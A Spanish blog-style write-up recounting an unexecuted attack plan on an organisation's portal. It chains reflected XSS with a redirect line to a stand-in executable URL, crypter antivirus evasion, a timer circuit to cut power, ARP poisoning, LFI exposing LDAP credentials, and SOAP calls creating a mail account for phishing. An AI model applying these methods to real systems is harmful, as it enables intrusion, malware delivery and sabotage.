[Hack] El ataque que no fue - Como un xss inofensivo pudo comprometer a miles de usuarios.

Disclaimer: Todo los fallos de seguridad que se describen a continuación fueron reportados y solucionados. Gonzac Studios no se hace cargo por el mal uso de este material. 

----- 

 Erase hace varios, varios años atrás.. cabe destacar que en ese tiempo que muchos entes y empresas no se tomaban la seguridad informática muy en serio. Los fallos y actualizaciones de software eran moneda corriente. Se podría decir que eso me había obsesionado un poco, cada vez que entraba a un sitio web probablemente algo se descubría o cada vez que entraba a algún lugar algo posiblemente vulnerable veía. Es en eso que debía frecuentar un ente en particular para realizar unos tramites, cosas que no vienen al caso. El punto era que para quienes tenían que utilizar los sistemas del lugar, utilizaban un portal que era accedido desde internet, es decir que los usuario podían conectarse desde cualquier lugar (no hacia falta que se encontraran presencialmente). Para poder usar el sistema se debía ingresar un usuario y contraseña validos. Claro está, que si no pertenecías al lugar no ibas a poder utilizar el sistema. Quizá ahora ustedes están diciendo "ah, el fallo fue conseguir acceso con un usuario y contraseña", pues se equivocan si pensaron eso. La url del sitio estaba a la vista de cualquiera que iba, bueno no estaba a la vista del público, sino mas bien podía ser vista en alguna oportunidad especifica y ser memorizada. Hoy en día un portal de acceso a un sistema debería ser accedido a través de una VPN (red privada virtual), pero este no era el caso. 

La página era un login, no tenía nada más que un usuario y contraseña, el servidor no tenia puertos abiertos, servicios vulnerables corriendo, ni ningún otro fallo. 

1- XSS 

 Lo único particular y ademas lo único que se podía hacer sin un usuario, era que cuando fallaba el ingreso, un mensaje se mandaba como parámetro en la url y se mostraba en la página. Quizá para muchos esto no representa nada, pero para mí, esto era algo grande. Si cambiabas ese mensaje en la url cambiabas el texto a mostrar (obviamente en tu maquina, no era un código persistente). Luego de probar con una secuencia de caracteres especiales (o también llamado locator) pude comprobar que no solo se podría introducir texto, sino que también se podía bypassear e introducir código javascript, un XSS. No se si era porque usaban $_REQUEST o internamente mandaban la request por GET a esa sección, pero se podía apuntar directamente a ese php con un parámetro por url.

-Javascript ejecutándose en la página, antes de cargar el resto de elementos. 

2- Descarga maliciosa

 Seguramente se podía hacer distintas cosas para engañar a los usuario, pero mi idea era otra. No quería acceso al portal, quería ver que tan vulnerable era. ¿Y si los usuario descargaran un software malicioso cuando entraran a la página? o mejor un software para tener acceso a sus ordenadores? ¿Se podría hacer esto? Sería un fallo catastrófico. Estaba claro que los administradores del sistema desestimaban esto y no tenían planeado corregirlo. 

Ahora los listillos me dirán "Bueno, pero para conseguir eso tiene que haber una vulnerabilidad crítica, poder alojar algo en el servidor o inyectar código malicioso". Y tienen razón, pero yo tenía algo en claro; si la url es legítima se puede aprovechar la confianza de los usuarios a este sitio. Y esto puede derivar a un ataque de phishing, la artimaña más sucia de hoy en día. 

Se necesitaban varias cosas: 

a- Crear un enlace malicioso explotando el xss. 

b- Tener un programa de control remoto que no fuera detectado por los antivirus. 

c- Tener toda la lista de los usuarios del sistema. 

d- Tener un servicio de mail con una url de confianza. 

 Al verlo así parece una misión imposible pero en sí, lo mas difícil sería conseguir una lista de los mail de todos los usuarios. 

 El xss se podría aprovechar para descargar un ejecutable simplemente redirigiendo la página hacia el recurso de la siguiente forma:  window.location.href="https://urldelejecutable.com"

Y para camuflarlo en la url se puede codificar en código URI (Como muchos servicios online hacen una codificación parcial me hice mi propia aplicación para esto).

Por otro lado, un software de control remoto puede ser cualquier programa para tal fin de conexión inversa o inclusive un simple comando de shell inversa. 

Para evitar los antivirus generalmente se codifica el binario de la aplicación con cualquier cripter. O, a bajo nivel, también podes modificar el binario buscando la firma del antivirus haciendo búsqueda binaria reemplazando las partes del binario por ceros y después mover ese código a otra posición de memoria, etc. 

En este punto es cuando se pone exagerado el tema. 

3- Movilizando al admin 

Como el área de sistemas se encontraba allí, alguien que interviniera la red podría ver el tráfico de red y descubrir los servicios y plataformas. El lugar contaba con un largo pasillo para acceder a las diferentes salas y oficinas, y las subredes estaban sectorizadas. En algunas partes en la pared había de esas ficha rj45 de red tipo tomacorrientes, por lo que a algunas redes era posible conectarse por cable. 

¿Y si se pudiera hacer que la/las personas indicadas usaran una red especifica a la que se tuviera acceso?

Se me ocurrió un apagón parcial, como el lugar está dividido por sectores con llaves térmicas se podía apagar una sala mientras el resto continuaba con electricidad normalmente. 

 Esto sería tan sencillo como ubicar el tablero eléctrico o hacer un corto circuito en algún toma corriente. Pero hacerlo dejaría poco tiempo para movilizarse.

 Por lo que se me ocurrió fabricar un dispositivo electrónico bastante simple. Un temporizador que añadiéndolo a alguna terminal eléctrica, cortara el suministro luego de un tiempo.

-Las pinzas cocodrilo son para conectarse fácilmente al cableado eléctrico.

El circuito se conecta a la red eléctrica y en una primera etapa es igual a una fuente capacitiva que reduce los 220v a partir del capacitor c1 de 400v, rectificando y luego filtrando la onda con el segundo capacitor de 100 o 220v. La salida de voltaje se regula con el diodo zener Z1 (usé uno de 9v para la simulación pero mejor utilizar uno de 12v) otorgando la mínima corriente para que el relé llegue a activarse. Básicamente el switch/botón presionado carga el capacitor C3 y al soltar el botón el capacitor se descarga lentamente alimentando el transistor que a su vez accionará el segundo transistor activando el relé. 

4- Detectando servicios

Conectado a la red, solo hace falta hacer un envenenamiento Arp para redirigir el tráfico de la red a la máquina. En este punto solo se espera a capturar el tráfico que se puede guardar en un archivo *.pcap para luego analizarlo con algún visualizador como Wireshark. En el archivo debería haber un listado de, los servicios a los que se conectaba el resto de las máquinas en la red y, de datos siempre y cuando no usaran certificados como https.

Dentro del listado de servicios había uno bastante interesante, un servicio de correo electrónico, que obviamente sin datos de acceso no se podía utilizar. Sin embargo al realizar un escaneo de puertos de la IP de la url del servicio (si haces un ping de la url ya deberías poder ver la ip) con nmap (nmap ip), se encontraban algunos puertos abiertos. Entre ellos estaba el 389 y el 7071. 

-El puerto 389 es de un protocolo llamado ldap que se utiliza para gestionar información de usuarios como credenciales y permisos. Ya se, suena como la frutilla del pastel, pero la realidad es que utilizando una herramienta llamada ldap explorer no se hallaba nada de información, quizá por falta de permisos, no lo se realmente.
*(Acá falta una captura de pantalla de ldap explorer que seguramente se perdió en alguna pc vieja)*

-Y por otro lado estaba el puerto 7071; utilizado justamente por el servidor de correo. Investigando un poco me encontré con que el servicio de correo al pasarle un paramento a través de la url te mostraba información de un archivo, ¿Un LFI o un Traversal Path?.

5- LFI

Un lfi (local file inclusion) es un error que te permite ejecutar o leer información de un archivo del mismo servidor. En este caso, al enviarle por url un parámetro que utilizaban para la carga de un skin con un valor aleatorio arrojaba un error de código, es decir que intentaba ejecutar algo.

Y al hacer uso de ../  podías desplazarte por el árbol de directorios y cargar un archivo diferente.

Con esto presente, desplazándote al directorio adecuado podías cargar un archivo de configuración del servidor de correo. Que para mi sorpresa guardaba credenciales para el protocolo de ldap!.

Así como se ve en la imagen era una de las tantas credenciales que usaba el servicio para realizar diferentes acciones y entre ellas la del servicio LDAP. Investigando un poco, en la wiki oficial del servidor de correos indicaban que su API utilizaba SOAP (un protocolo de comunicación de objetos a través del intercambio de datos XML). Y ademas, la estructura del xml necesaria para la transmisión de los datos, por lo que con un simple script era posible interactuar con el servicio haciendo uso de las credenciales antes mencionadas a través de la url del mismo portal.

-Ejemplo del exploit en javascript, con la url del sitio se hace un post enviando el xml con el user y pass (extraído del archivo de configuración) para obtener un token de autenticación al servicio soap.

-Con el token obtenido se realiza una segunda petición para crear un correo electrónico y una contraseña, obteniendo un id de usuario.

-Por último, con el id del nuevo usuario se realiza una nueva petición para darle permisos.

Como pueden ver, ya estaba todo lo que faltaba. Con acceso al servidor de correos, una cuenta con un dominio de confianza y un programa de control remoto encriptado alojado en un servidor externo, solo era cuestión de mandar un correo de tipo empresarial a todos los usuario para que ingresaran a una url del portal que con el xss te redirigía y descargaba el programa.

Entonces, algo que no esperaba. Al probar si el programa de control remoto era detectado como una amenaza por los antivirus se envía una copia a las bases de datos, esto se comparte entre los servidores de antivirus y al poco tiempo el programa ya había sido marcado como inseguro. Y cualquier nuevo correo ya habría perdido credibilidad. 

----

Hasta acá, el ataque que nunca sucedió. Recuerden no desestimar cualquier vulnerabilidad por más inofensiva que parezca. Y espero que les haya gustado.